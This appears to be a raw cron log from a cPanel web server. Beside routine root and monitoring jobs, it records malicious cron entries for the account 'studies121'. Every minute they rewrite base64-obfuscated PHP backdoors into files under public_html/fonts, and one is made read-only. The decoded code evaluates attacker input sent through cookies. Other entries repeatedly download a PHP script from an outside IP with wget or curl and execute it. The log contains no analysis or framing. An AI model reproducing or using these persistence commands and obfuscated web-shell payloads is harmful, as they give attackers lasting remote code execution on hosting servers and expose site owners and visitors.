Aug 31 11:40:01 ip-184-168-122-23 CROND[22795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:40:01 ip-184-168-122-23 CROND[22797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:40:01 ip-184-168-122-23 CROND[22798]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:40:01 ip-184-168-122-23 CROND[22799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:40:01 ip-184-168-122-23 CROND[22800]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:40:01 ip-184-168-122-23 CROND[22801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:41:01 ip-184-168-122-23 CROND[22996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:41:01 ip-184-168-122-23 CROND[22997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:41:01 ip-184-168-122-23 CROND[22999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:41:01 ip-184-168-122-23 CROND[22998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:42:01 ip-184-168-122-23 CROND[23097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:42:01 ip-184-168-122-23 CROND[23098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:42:01 ip-184-168-122-23 CROND[23101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:42:01 ip-184-168-122-23 CROND[23099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:42:01 ip-184-168-122-23 CROND[23106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:43:01 ip-184-168-122-23 CROND[23238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:43:01 ip-184-168-122-23 CROND[23237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:43:01 ip-184-168-122-23 CROND[23239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:43:01 ip-184-168-122-23 CROND[23243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:44:01 ip-184-168-122-23 CROND[23342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:44:01 ip-184-168-122-23 CROND[23344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:44:01 ip-184-168-122-23 CROND[23343]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:44:01 ip-184-168-122-23 CROND[23348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:44:01 ip-184-168-122-23 CROND[23350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:45:01 ip-184-168-122-23 CROND[23487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:45:01 ip-184-168-122-23 CROND[23488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:45:01 ip-184-168-122-23 CROND[23493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:45:01 ip-184-168-122-23 CROND[23492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:45:01 ip-184-168-122-23 CROND[23491]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:45:01 ip-184-168-122-23 CROND[23494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:46:01 ip-184-168-122-23 CROND[23680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:46:01 ip-184-168-122-23 CROND[23683]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 11:46:01 ip-184-168-122-23 CROND[23682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:46:01 ip-184-168-122-23 CROND[23684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:46:01 ip-184-168-122-23 CROND[23685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:46:01 ip-184-168-122-23 CROND[23687]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 11:46:01 ip-184-168-122-23 CROND[23688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:47:01 ip-184-168-122-23 CROND[23791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:47:01 ip-184-168-122-23 CROND[23793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:47:01 ip-184-168-122-23 CROND[23795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:47:01 ip-184-168-122-23 CROND[23794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:48:01 ip-184-168-122-23 CROND[23951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:48:01 ip-184-168-122-23 CROND[23952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:48:01 ip-184-168-122-23 CROND[23955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:48:01 ip-184-168-122-23 CROND[23954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:48:01 ip-184-168-122-23 CROND[23956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:49:01 ip-184-168-122-23 CROND[24077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:49:01 ip-184-168-122-23 CROND[24080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:49:01 ip-184-168-122-23 CROND[24079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:49:01 ip-184-168-122-23 CROND[24081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:50:01 ip-184-168-122-23 CROND[24276]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 11:50:01 ip-184-168-122-23 CROND[24279]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:50:01 ip-184-168-122-23 CROND[24281]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:50:01 ip-184-168-122-23 CROND[24283]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 11:50:01 ip-184-168-122-23 CROND[24285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:50:01 ip-184-168-122-23 CROND[24288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:50:01 ip-184-168-122-23 CROND[24286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:50:01 ip-184-168-122-23 CROND[24289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:50:01 ip-184-168-122-23 CROND[24287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:51:01 ip-184-168-122-23 CROND[24419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:51:01 ip-184-168-122-23 CROND[24421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:51:01 ip-184-168-122-23 CROND[24425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:51:01 ip-184-168-122-23 CROND[24424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:52:01 ip-184-168-122-23 CROND[24587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
